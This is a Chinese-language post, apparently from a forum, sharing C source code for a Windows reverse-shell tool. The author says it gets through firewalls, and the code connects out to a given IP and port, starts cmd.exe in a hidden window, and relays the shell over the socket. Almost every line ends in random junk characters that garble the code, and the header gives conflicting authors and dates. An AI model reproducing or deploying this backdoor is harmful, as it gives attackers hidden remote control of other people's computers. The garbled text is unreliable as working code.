Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ,. zHG  
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/* ============================== Up1n0
  
Rebound port in Windows NT llN/  
By wind,2006/7 x4i&;SP0  
===============================*/ Bz(L}V]\k  
#include URbHVPCPb  
#include -FF#+Z$  
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#pragma comment(lib,"wsock32.lib") +B[XTn,Cru  
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void OutputShell(); Aj8zFt]  
SOCKET sClient; }hE!0q~MfM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /PVx  
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void main(int argc,char **argv) g"~`\xhx  
{ EQe$~}[  
WSADATA stWsaData; ;}lsD1S:  
int nRet; J%]5C}v \  
SOCKADDR_IN stSaiClient,stSaiServer; 1#3eY?Nb  
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if(argc != 3) b
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{ Z;z,dw  
printf("Useage:\n\rRebound DestIP DestPort\n"); )(OGo`4Qz  
return; ^RE[5h6^q  
} L&KL]n  
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WSAStartup(MAKEWORD(2,2),&stWsaData); HVdB*QEH  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d}aMdIF!e  
}vU^gPH  
stSaiClient.sin_family = AF_INET; 7~r_nP_  
stSaiClient.sin_port = htons(0); <Mndr8 H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ay =B<|!  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s",
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{ @Gw.U>"!C  
printf("Bind Socket Failed!\n"); ]XcWGQv~  
return; a ]:xsJ~  
} ?
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stSaiServer.sin_family = AF_INET; g[' 7$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); La28%10  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HWIn.ij  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) od$$g(  
{ pHowioFx  
printf("Connect Error!"); n2dOCntN>  
return; gL~3z'$  
} $VjMd f  
OutputShell(); 1Q=L/keP  
} /oZvm  
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void OutputShell() uJ=d!Kn  
{ p(-EtxP  
char szBuff[1024]; *Kpw@4G  
SECURITY_ATTRIBUTES stSecurityAttributes; *ZV3]ig2$  
OSVERSIONINFO stOsversionInfo; .AQTUd(_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qfdL *D  
STARTUPINFO stStartupInfo; qo}yEl1  
char *szShell; )Y&B63]B  
PROCESS_INFORMATION stProcessInformation; RD0*]4>]  
unsigned long lBytesRead; KMG}VG   
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +U<.MVOo.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LN)yQ-  
stSecurityAttributes.lpSecurityDescriptor = 0; L8Q/!+K  
stSecurityAttributes.bInheritHandle = TRUE; o6RT4`  
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7L!}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0$NzRPbH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nTw:BU4jd  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oB@)!'
  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cuI&Q?+c}  
stStartupInfo.wShowWindow = SW_HIDE; A6+qS [  
stStartupInfo.hStdInput = hReadPipe; QCG-CzJ9l  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;dtA-EfOZ  
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GetVersionEx(&stOsversionInfo); q,_EHPc  
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switch(stOsversionInfo.dwPlatformId) bl^pMt1fv  
{ 'K}2m  
case 1: 3DxgfP%n  
szShell = "command.com"; WZjR^6  
break; lYS "  
default: <(~Wg{  
szShell = "cmd.exe"; nET<u;  
break; Bio QV47B  
} 3g:P>(  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t0Lt+E|J  
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send(sClient,szMsg,77,0); gK"(;Jih$  
while(1) G^z>2P  
{ ,Y#f0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UV</Nx)3  
if(lBytesRead) APJFy@l}  
{ t'yh&44_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7*%}=.  
send(sClient,szBuff,lBytesRead,0); TwF.UL@G%  
} [,;O$j}  
else ONZ(0H{ 1$  
{ ~
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lBytesRead=recv(sClient,szBuff,1024,0); _,v>P2)  
if(lBytesRead<=0) break; 9.,IqnP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3g56[;Up?  
} RH$l?j6  
} *v: .]_;  
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return; nEP3B'+  
}